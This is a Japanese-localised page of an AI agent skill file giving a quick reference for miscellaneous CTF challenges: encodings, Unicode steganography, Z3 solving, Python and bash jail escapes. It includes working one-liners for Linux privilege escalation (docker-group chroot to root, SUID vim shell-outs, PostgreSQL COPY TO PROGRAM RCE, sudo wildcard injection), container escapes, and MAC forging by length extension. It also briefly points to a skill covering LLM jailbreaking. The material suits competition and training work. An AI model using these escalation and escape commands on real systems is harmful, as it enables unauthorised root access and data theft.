ctf-misc
Web・pwn・リバース・フォレンジクス・暗号などの主要カテゴリに明確に分類されないCTFの「その他」問題に対応するスキルです。エンコードパズル、pyjail/bashジェイル、RF/SDR、Unicode トリック、難解言語、QR・音声パズル、制約ソルバー、ゲーム理論、サンドボックス脱出、複合ロジックパズルなど幅広い手法を提供します。主要カテゴリに該当する問題では専用スキルを優先し、本スキルはクロスカテゴリやエッジケースのためのフォールバックとして使用してください。
description の原文を見る
Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or audio puzzles, constraint solving, game theory, unusual sandbox escapes, and hybrid logic puzzles. Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, forensics, malware, OSINT, or crypto. Treat this as the fallback skill for genuine cross-category or edge-case challenges, not the default starting point.
SKILL.md 本文
CTF Miscellaneous
Miscellaneous CTF チャレンジの簡易リファレンス。各テクニックにはワンライナーがここにあり、詳細はサポートファイルを参照してください。
前提条件
Python パッケージ (すべてのプラットフォーム):
pip install z3-solver pwntools Pillow numpy requests dnslib
Linux (apt):
apt install ffmpeg qrencode
macOS (Homebrew):
brew install ffmpeg qrencode
手動インストール:
- SageMath — Linux:
apt install sagemath、macOS:brew install --cask sage
追加リソース
pyjails.md- Python ジェイル/sandbox escape テクニック、quine コンテキスト検出、制限文字 repunit 分解、func_globals モジュールチェーン走査、制限文字セット数値生成、クラス属性永続性、f-string config injection 経由での保存済み evalbashjails.md- Bash ジェイル/restricted shell escape テクニック、HISTFILE ファイル読み込みトリック、bash -v verbose mode、ctypes.sh 直接 C ライブラリ呼び出しencodings.md- エンコーディング、QR コード、エソラング、UTF-16 トリック、BCD エンコーディング、マルチレイヤー自動デコーディング、インデックス付きディレクトリ QR 再構成、マルチステージ URL エンコーディングチェーンencodings-advanced.md- Verilog/HDL、Gray code 環状エンコーディング、RTF カスタムタグ抽出、SMS PDU デコーディング、マルチエンコーディング逐次ソルバー、UTF-9、ピクセルバイナリエンコーディング、16進 Sudoku + QR アセンブリ、TOPKEK、MaxiCoderf-sdr.md- RF/SDR/IQ 信号処理 (QAM-16、キャリア復旧、タイミング同期)dns.md- DNS エクスプロイテーション (ECS spoofing、NSEC walking、IXFR、rebinding、tunneling)games-and-vms.md- WASM パッチング、Roblox place ファイルリバース、PyInstaller、marshal 分析、Python env RCE、Z3 (boolean logic gate network SAT solving 含む)、K8s RBAC、浮動小数点精度エクスプロイテーション、カスタムアセンブリ言語 sandbox escape 経由 Python MRO チェーンgames-and-vms-2.md- Cookie チェックポイント ゲーム brute-forcing、Flask cookie ゲーム状態漏洩、WebSocket ゲーム操作、サーバー時間のみ検証バイパス、De Bruijn シーケンス、Brainfuck インストルメンテーション、WASM リニアメモリ操作games-and-vms-3.md- memfd_create パック済みバイナリ、HMAC commitment-reveal と GF(256) Nim を使用したマルチフェーズ暗号ゲーム、エミュレーター ROM-switching 状態保存、Python marshal コード注入、Benford's Law バイパス、parallel connection oracle relay、nonogram solver パイプライン、100 prisoners problem、emoji 識別子経由の C コードジェイル escape、BuildKit daemon build secret エクスプロイテーション、Docker コンテナ escape、Levenshtein distance oracle attack、type coercion 経由の taint analysis バイパス、shredded document pixel-edge 再構成games-and-vms-4.md- Part 4 (2018-era): XSLT を Turing-complete VM として、JavaScript MAX_SAFE_INTEGER successor equality、比較のみ DSL での binary search oracle、script-engine timeout エラー経由の blind SQLi、OEIS シーケンスルックアップ自動化、format-string 制約からの QR コード再構成、フィボナッチ再発のための行列指数化、カエルジャンプ計数用の Tribonacci、Selenium + Tesseract 動的 CAPTCHA、Brainfuck→Piet マルチレイヤー polyglot、bytebeat synth コード認識linux-privesc.md- Sudo ワイルドカードパラメータインジェクション (fnmatch)、SUID backupジョブ、PostgreSQL COPY TO PROGRAM RCE、PostgreSQL バックアップ認証情報抽出、NFS share エクスプロイテーション、SSH Unix socket tunneling、PaperCut Print Deploy privesc、Squid proxy pivoting、Zabbix admin パスワードリセット経由 MySQL、WinSSHTerm 認証情報復号化ctfd-navigation.md- CTFd プラットフォーム API ナビゲーション (ブラウザなし): 検出、トークン認証、チャレンジリスティング、ファイルダウンロード、フラグ送信、スコアボード、ヒント、通知、Python クライアントクラス
ピボットするべき場合
- パズルが実際に暗号化または数論に焦点を当てている場合は、
/ctf-cryptoに切り替え - チャレンジが本当のバイナリエクスプロイトであり、ジェイル、おもちゃ VM、またはエンコーディング問題ではない場合は、
/ctf-pwnまたは/ctf-reverseに切り替え - 入力が主にファイル、画像、オーディオ、または復旧作業が必要なパケットキャプチャの場合は、
/ctf-forensicsに切り替え - ML/AI テクニック (モデル攻撃、adversarial examples、LLM jailbreaking) については
/ctf-ai-mlを参照
クイックスタートコマンド
# ファイル識別
file mystery_file
xxd mystery_file | head -5
python3 -c "import magic; print(magic.from_file('mystery_file'))"
# エンコーディング検出
python3 -c "import base64; print(base64.b64decode('<data>'))"
echo '<data>' | base64 -d
echo '<hex>' | xxd -r -p
# QR コード
zbarimg qr.png
python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))"
# Z3 制約充足
python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())"
# Python ジェイルテスト
python3 -c "__import__('os').system('id')"
一般的なヒント
- 提供されたファイルすべてを注意深く読む
- ファイルメタデータ、隠れたコンテンツ、エンコーディングを確認
- Power Automate スクリプトは API 呼び出しを隠す可能性あり
- 複数の答えを推測する際は binary search を使用
一般的なエンコーディング
# Base64
echo "encoded" | base64 -d
# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d
# 16進数
echo "68656c6c6f" | xxd -r -p
# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
文字セットにより識別:
- Base64:
A-Za-z0-9+/= - Base32:
A-Z2-7=(小文字なし) - 16進:
0-9a-fA-F
Caesar brute force、URL エンコーディング、詳細については encodings.md を参照。
IEEE-754 浮動小数点エンコーディング (データ隠蔽)
パターン (Floating): 数値は生バイトを隠す float32 値。
重要な洞察: 32ビット浮動小数点は、数値として解釈された4バイトにすぎません。生バイトとして再解釈 → ASCII。
import struct
floats = [1.234e5, -3.456e-7, ...] # チャレンジが提供するもの
flag = b''
for f in floats:
flag += struct.pack('>f', f)
print(flag.decode())
バリエーション: Double '>d'、little-endian '<f'、混合。CyberChef レシピについては encodings.md を参照。
USB マウス PCAP 再構成
パターン (Hunt and Peck): USB HID マウストラフィックキャプチャが オンスクリーンキーボード入力をキャプチャ。USB-Mouse-Pcap-Visualizer を使用し、クリック座標 (falling edges) を抽出、相対デルタの cumsum で絶対位置を計算、OSK 画像にオーバーレイ。
ファイルタイプ検出
file unknown_file
xxd unknown_file | head
binwalk unknown_file
アーカイブ抽出
7z x archive.7z # ユニバーサル
tar -xzf archive.tar.gz # Gzip
tar -xjf archive.tar.bz2 # Bzip2
tar -xJf archive.tar.xz # XZ
ネストされたアーカイブスクリプト
while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
7z x -y "$f" && rm "$f"
done
QR コード
zbarimg qrcode.png # デコード
qrencode -o out.png "data"
MaxiCode バーコード: ブルズアイセンター付き6角形2D バーコード; 標準 QR デコーダーが失敗するため zxing (Java) でデコード。詳細については encodings-advanced.md を参照。
TOPKEK エンコーディング: CTF-specific バイナリエンコーディング。KEK=0、TOP=1、! suffix = repeat count。詳細については encodings-advanced.md を参照。
QR 構造、修復テクニック、チャンク再構成 (構造的およびインデックス付きディレクトリバリアント)、マルチステージ URL エンコーディングチェーンについては encodings.md を参照。
オーディオチャレンジ
sox audio.wav -n spectrogram # ビジュアルデータ
qsstv # SSTV デコーダー
RF / SDR / IQ 信号処理
詳細については rf-sdr.md を参照 (IQ 形式、QAM-16 復調、キャリア/タイミング復旧)。
クイックリファレンス:
- cf32:
np.fromfile(path, dtype=np.complex64)| cs16: int16 reshape(-1,2) | cu8: RTL-SDR 生 - Constellation の円 = 定数周波数オフセット; Spirals = drifting frequency + gain instability
- DD キャリア復旧では4倍あいまい性 - 0/90/180/270 回転を試行
pwntools インタラクション
from pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()
Python ジェイルクイックリファレンス
- Oracle パターン:
L()= 長さ、Q(i,x)= 比較、S(guess)= 送信。線形または binary search。 - Walrus バイパス:
(abcdef := "new_chars")は制約変数を再割り当て - Decorator バイパス:
@__import__+@func.__class__.__dict__[__name__.__name__].__get__(no-call、no-quotes escape 向け) - String join:
open(''.join(['fl','ag.txt'])).read()(when+is blocked)
詳細テクニックについては pyjails.md を参照。
Z3 / 制約充足
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# 制約を追加、sat をチェック、モデルを抽出
詳細については games-and-vms.md を参照 (YARA ルール、型システム as 制約、boolean logic gate network SAT solving)。
ハッシュ識別
MD5: 0x67452301 | SHA-256: 0x6a09e667 | MurmurHash64A: 0xC6A4A7935BD1E995
SHA-256 長延長攻撃
MAC = SHA-256(SECRET || msg) (既知の msg/hash 付き) → hlextend 経由での有効な MAC forging。脆弱: SHA-256、MD5、SHA-1。NOT: HMAC、SHA-3。
import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
テクニッククイックリファレンス
- PyInstaller:
pyinstxtractor.py packed.exe。詳細についてはgames-and-vms.mdを参照 (opcode remapping)。 - Marshal:
marshal.load(f)その後dis.dis(code)。詳細についてはgames-and-vms.mdを参照。 - Python env RCE:
PYTHONWARNINGS=ignore::antigravity.Foo::0+BROWSER="cmd"。詳細についてはgames-and-vms.mdを参照。 - WASM パッチング:
wasm2wat→ minimax をフリップ →wat2wasm。詳細についてはgames-and-vms.mdを参照。 - Float精度: 大乗数は FP エラーを exploitable fractions に増幅。詳細については
games-and-vms.mdを参照。 - K8s RBAC バイパス: SA token → impersonate → hostPath mount → read secrets。詳細については
games-and-vms.mdを参照。 - Cookie チェックポイント: 推測前にセッション cookie を保存、失敗時に復元して、リセットなしで brute-force。詳細については
games-and-vms-2.mdを参照。 - Flask cookie ゲーム状態:
flask-unsign -d -c '<cookie>'は符号なし Flask セッションをデコード、ゲーム答えを漏洩。詳細についてはgames-and-vms-2.mdを参照。 - WebSocket テレポート: コンソールで
player.x/player.yを変更、検証関数を呼び出し。詳細についてはgames-and-vms-2.mdを参照。 - 時間のみ検証: セッション開始、
time.sleep(required_seconds)、勝利を送信。詳細についてはgames-and-vms-2.mdを参照。 - Quine コンテキスト検出: デュアル目的 quine は自身を出力 (検証に合格) し、サーバープロセスで globals gate 経由でペイロードのみを実行。詳細については
pyjails.mdを参照。 - Repunit 分解: ターゲット整数を repunits (1、11、111、...) の合計に分解 (制限された eval 向け、2文字のみ使用:
1と+)。詳細についてはpyjails.mdを参照。 - De Bruijn シーケンス: B(k, n) は部分文字列としてすべての k^n の可能な n-length 文字列を含む; 最初の n-1 文字を付加してリニア化。詳細については
games-and-vms-2.mdを参照。 - Brainfuck インストルメンテーション: BF インタプリタをインストルメント化してテープセル を追跡、検証セル経由で flag 文字を brute-force。詳細については
games-and-vms-2.mdを参照。 - WASM メモリ操作: 実行時に WASM リニアメモリをパッチしてゲーム状態変数を直接設定、ゲームロジックをバイパス。詳細については
games-and-vms-2.mdを参照。 - Lua sandbox escape:
load()/os.execute()フィルターをos["execute"]テーブルインデックス付けまたはloadstringエイリアス経由でバイパス。詳細についてはgames-and-vms.mdを参照。 - C コードジェイル (emoji + gadget embedding): emoji と句読点のみが C で許可される場合、
(😃==😃)を定数 1 として使用、整数構築、add eax, imm32定数内にガジェットを埋め込み、shellcode プリミティブ向けにオフセット+1 にジャンプ。詳細についてはgames-and-vms-3.mdを参照。 - エミュレーター ROM-switching:
/loadは ROM を置き換えますが CPU 状態 (レジスター、RAM、PC) を保存。特定の PC で ROM を切り替え、1つの ROM から INIT を、別の ROM から表示命令を組み合わせ → 保護されたメモリを読み取り。詳細についてはgames-and-vms-3.mdを参照。 - BuildKit daemon エクスプロイテーション: 公開された BuildKit gRPC は
--mount=type=secretでbuildctl buildをネストされた状態で実行可能。2段階 Dockerfile: buildctl をインストール → build シークレットをマウントしてネストされたビルドを送信。詳細についてはgames-and-vms-3.mdを参照。 - Docker コンテナ escape: 特権breakout (ホストデバイスマウント、docker.sock socket escape、CAP_SYS_ADMIN cgroup release_agent、/proc および overlayfs 経由のコンテナ情報漏洩)。詳細については
games-and-vms-3.mdを参照。 - Taint analysis バイパス (type coercion 経由): Secrecy/taint システム付きカスタム ML-like 言語では、if-expression secrecy は condition ではなく return type に依存 — side-effecting 関数を private type に強制して private データを public mutable refs 経由でリーク。詳細については
games-and-vms-3.mdを参照。 - Shredded document pixel-edge 再構成: 各ストリップの左/右エッジをバイナリビットマスク (dark=1) としてエンコード、XOR + popcount Hamming distance を使用して、最小エッジ距離でストリップを貪欲に配置 (時間圧力下での1秒未満の再構成)。詳細については
games-and-vms-3.mdを参照。 - f-string config injection (保存済み eval 経由): ペイロードを config 値として保存、保存済みキー として評価される式という名前のキーを作成 — f-string レンダリングはキー名式を評価、RCE をトリガー。詳細については
pyjails.mdを参照。 - 16進 Sudoku + QR アセンブリ: 4つの QR コードが 16x16 16進 Sudoku 象限をエンコード; グリッドを解き、対角線を16進ペアとして読み取る → ASCII flag。詳細については
encodings-advanced.mdを参照。 - Z3 boolean gate network SAT solving: Product key 検証は250個の boolean gate (AND/OR/XOR/NOT) 以上125入力ビット。各ゲートを Z3 制約としてモデル化、すべての出力 True を要求、ミリ秒で解き。詳細については
games-and-vms.mdを参照。
3D プリンター ビデオ ノズル追跡 (LACTF 2026)
パターン (flag-irl): 名前プレート製造中の 3D プリンターのビデオ。Flag は印刷されたテキスト。
テクニック: ビデオフレームからノズル X/Y 位置を追跡、プリント移動 (トップ/テキストレイヤーのみ) をフィルター、2D ヒストグラムをプロット して文字形状を表示:
# 1. テキストレイヤーフレームを特定 (例: フレーム 26100-28350)
# 2. プリントヘッド X 位置を追跡 (物理 X 軸)
# 3. ベッド X 位置を追跡 (カメラアングルから物理 Y 軸)
# 4. 押し出し付き移動をフィルター (プリント中に移動するヘッド)
# 5. 2D scatter/histogram としてプロット -> 文字が表示される
Discord API 列挙 (0xFun 2026)
Discord メタデータ (ロール、アニメーション emoji、embeds) に隠された Flag。Discord API 列挙テクニックとコード向け /ctf-osint を呼び出し (ctf-osint の social-media.md を参照)。
SUID バイナリ エクスプロイテーション (0xFun 2026)
# SUID バイナリを検索
find / -perm -4000 2>/dev/null
# GTFObins と相互参照
# xxd (SUID): xxd flag.txt | xxd -r
# vim (SUID): vim -c ':!cat /flag.txt'
リファレンス: https://gtfobins.github.io/
Linux 権限昇格クイックチェック
# GECOS フィールドパスワード
cat /etc/passwd # 5番目のコロン区切りフィールドをチェック
# ACL 権限
getfacl /path/to/restricted/file
# Sudo 権限
sudo -l
# Docker グループメンバーシップ (即座に root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Docker グループ権限昇格 (H7CTF 2025)
docker グループ内のユーザーは、ホストファイルシステムをコンテナにマウントし、root アクセスのためにそれに chroot できます。
# グループメンバーシップをチェック
id # グループで "docker" を探す
# ホスト root ファイルシステムをマウント して chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# ホストファイルシステム上で root として実行中
cat /root/flag.txt
重要な洞察: Docker グループメンバーシップは root アクセスと同等。Docker CLI ソケット (/var/run/docker.sock) により、ホストファイルシステム全体をマウントする特権コンテナの作成が可能。
リファレンス: https://gtfobins.github.io/gtfobins/docker/
Sudo ワイルドカードパラメータインジェクション (Dump HTB)
Sudo の fnmatch() は * をargument 境界を超えてマッチ。余分なフラグ (-Z root、-r、2番目の -w) をロックダウンされたコマンドに注入。有効な sudoers エントリを埋め込んだ pcap を作成 — sudo のパーサーは cron の厳密なパーサーと異なり、バイナリジャンクから復旧。詳細については linux-privesc.md を参照。
Monit プロセスコマンドライン注入 (Zero HTB)
Root monit スクリプトは pgrep -lfa を使用してプロセスコマンドラインを抽出、その後修正版を実行。perl -e '$0 = "..."' 経由で注入されたフラグを持つ偽プロセスを作成。Apache -d は last-wins で ServerRoot をオーバーライド; -E はエラー出力をキャプチャ。Include /root/flag は parse エラーを引き起こし、ファイルコンテンツを表示。詳細については linux-privesc.md を参照。
PostgreSQL RCE およびファイル読み込み (Slonik HTB)
COPY (SELECT '') TO PROGRAM 'cmd' は OS コマンドを postgres として実行。pg_read_file('/path') はファイルを読み込み。pg_basebackup アーカイブから認証情報を抽出 (global/1260 = pg_authid)。SSH tunnel を Unix ソケットに: ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432。詳細については linux-privesc.md を参照。
バックアップ Cronjob SUID 濫用 (Slonik HTB)
Root cronjob ディレクトリをコピーして SUID ビットを保存しますが、所有権を root に変更。SUID bash をソースディレクトリに配置 → バックアップは root 所有の SUID としてコピー。bash -p で実行。詳細については linux-privesc.md を参照。
PaperCut Print Deploy 権限昇格 (Bamboo HTB)
Root プロセスはユーザー所有のディレクトリからスクリプトを実行。server-command を変更、Mobility Print API リフレッシュ経由でトリガー。詳細については linux-privesc.md を参照。
CTFd プラットフォーム ナビゲーション (ブラウザなし)
CTFd を検出 (curl -s "$CTF_URL/api/v1/" | head -5) し、API 経由でインタラクト。ユーザーに API トークンを依頼 (CTFd Settings > Access Tokens) — デフォルトでは提供されません。その後、すべてのリクエストに Authorization: Token $CTF_TOKEN ヘッダーを使用。
export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here"
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"'
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}"
完全なワークフロー、Python クライアントクラス、セッションログイン、ヒント、通知、ファイルダウンロード、トラブルシューティングについては ctfd-navigation.md を参照。
便利なワンライナー
grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"
キーボードシフト暗号
パターン (Frenzy): QWERTY キーボードレイアウト上で左/右シフトされた文字。
識別: dCode Cipher Identifier は "Keyboard Shift Cipher" を示唆
デコーディング: dCode Keyboard Shift Cipher を自動モードで使用。
Pigpen / メーソン暗号
パターン (Working For Peanuts): グリッド位置に基づいて文字を表す幾何学記号。
識別: 角度/幾何学的記号、チャレンジが "Peanuts" コミック (Charlie Brown) を参照、"dusty looking crypto"
デコーディング: 記号を Pigpen グリッド位置にマップ、またはオンラインデコーダーを使用。
数値データ列での ASCII
パターン (Cooked Books): CSV/スプレッドシート数値 (48-126) は ASCII 文字コード。
import csv
with open('data.csv') as f:
reader = csv.DictReader(f)
flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)
CyberChef: "From Decimal" レシピ (ラインフィード区切り付き)。
ソースコード内でバックドアを検出
パターン (Rear Hatch): 隠れたコマンド接頭辞は system() 呼び出しをトリガー。
一般的なパターン:
strncmp(input, "exec:", 5)->system(input + 5)を実行- 16進エンコード比較文字列:
\x65\x78\x65\x63\x3a= "exec:" - メンテナンス/管理関数での隠れた条件
DNS エクスプロイテーション テクニック
詳細については dns.md を参照 (ECS spoofing、NSEC walking、IXFR、rebinding、tunneling)。
クイックリファレンス:
- ECS spoofing:
dig @server flag.example.com TXT +subnet=10.13.37.1/24- leet-speak IP (1337) を試行 - NSEC walking: NSEC チェーンをフォローして DNSSEC ゾーンを列挙
- IXFR: AXFR がブロックされる場合は
dig @server domain IXFR=0 - DNS rebinding: 低 TTL による交互解決で same-origin をバイパス
- DNS tunneling: サブドメインクエリまたは TXT レスポンス経由でデータを流出
Unicode Steganography
Variation Selectors Supplement (U+E0100-U+E01EF)
パターン (Seen & emoji、Nullcon 2026): 不可視 Variation Selector Supplement 文字が codepoint オフセット経由で ASCII をエンコード。
# 可視文字の後の隠れたデータを抽出 (variation selector)
data = open('README.md', 'r').read().strip()
hidden = data[1:] # 可視 emoji 文字をスキップ
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)
検出: 文字は不可視に見えますが、ゼロ以外の長さを持ちます。[hex(ord(c)) for c in text] で確認 — 0xE0100-0xE01EF または 0xFE00-0xFE0F 範囲内の codepoint を探します。
Unicode Tags ブロック (U+E0000-U+E007F) (UTCTF 2026)
パターン (Hidden in Plain Sight): 不可視 Unicode Tag 文字が URL、ファイル名、またはテキストに埋め込まれ。各タグ codepoint は 0xE0000 を引くことで直接 ASCII 文字にマップ。URL エンコード: 4バイト UTF-8 シーケンス (%F3%A0%81%...)。
import urllib.parse
url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)
flag = ''.join(
chr(ord(ch) - 0xE0000)
for ch in decoded
if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)
重要な洞察: Unicode Tags (U+E0001-U+E007F) は ASCII 1:1 をミラー — 0xE0000 を引いて元文字を復旧。ほとんどのフォントでゼロ幅不可視グリフとしてレンダリング。Variation Selectors (U+E0100+) と異なり、これらはよりシンプルなオフセット計算を持ち、URL フラグメント、チャレンジタイトル、またはテキストが正常に見えますがバイト長が異常に長いファイル名に表示されます。
検出: テキストまたは URL のバイト長が予想より長い。%F3%A0%80 または %F3%A0%81 で始まるパーセントエンコードシーケンス。Python: any(0xE0000 <= ord(c) <= 0xE007F for c in text)。
UTF-16 エンディアネス反転
パターン (endians): テキストが "日本語に変わった" — UTF-16 エンディアネスの不一致による mojibake。
# UTF-16-LE としてエンコード後、UTF-16-BE として デコード:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
識別: CJK 文字、チャレンジが "translation" または "endian" に言及。詳細については encodings.md を参照。
暗号化識別ワークフロー
- ROT13 - チャレンジが "ROT" に言及、テキストは garbled English に見える
- Base64 -
A-Za-z0-9+/=、タイトルが "64" をヒント - Base32 -
A-Z2-7=(大文字のみ) - Atbash - タイトルがヒント (Abash/Atbash)、スペースを保存、1:1 置換
- Pigpen - グリッド上の幾何学的記号
- キーボードシフト - テキストが隣接キーが押されたように見える
- 置換 - 周波数分析適用可能
自動識別: dCode Cipher Identifier
HISTFILE トリック (制限された Shell ファイル読み込み) (BCTF 2016)
cat/less/head なしでファイルを読み込み: HISTFILE=/flag /bin/bash && history、または bash -v flag.txt (verbose mode は行を出力)、または ctypes.sh dlcall (直接 C ライブラリ呼び出し)。詳細については bashjails.md を参照。
Levenshtein Distance Oracle 攻撃 (SunshineCTF 2016)
Oracle は推測と秘密の間の編集距離を返します。空の文字列から長さを決定、単文字リピートから存在する文字を特定、位置に binary search。O(n log n) クエリ。詳細については games-and-vms-3.md を参照。
SECCOMP 高ビット ファイルディスクリプタ バイパス (33C3 CTF 2016)
close(0x8000000000000002) は 64ビット SECCOMP チェック (≠ 2) に合格しますが、カーネルは 32ビットに切り詰め (== 2)、fd 2 を閉じます。次の open() は任意ファイルで fd 2 を返します。BPF フィルターとカーネル間の型幅不一致。詳細については games-and-vms-3.md を参照。
rvim ジェイル Escape (Python3 経由) (BKP 2017)
rvim は :! をブロックしますが :python3 import os; os.system("cmd") は任意のコマンドを実行。:version で +python3/+lua/+ruby を確認。詳細については games-and-vms-3.md を参照。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- ljagiello
- リポジトリ
- ljagiello/ctf-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/ljagiello/ctf-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。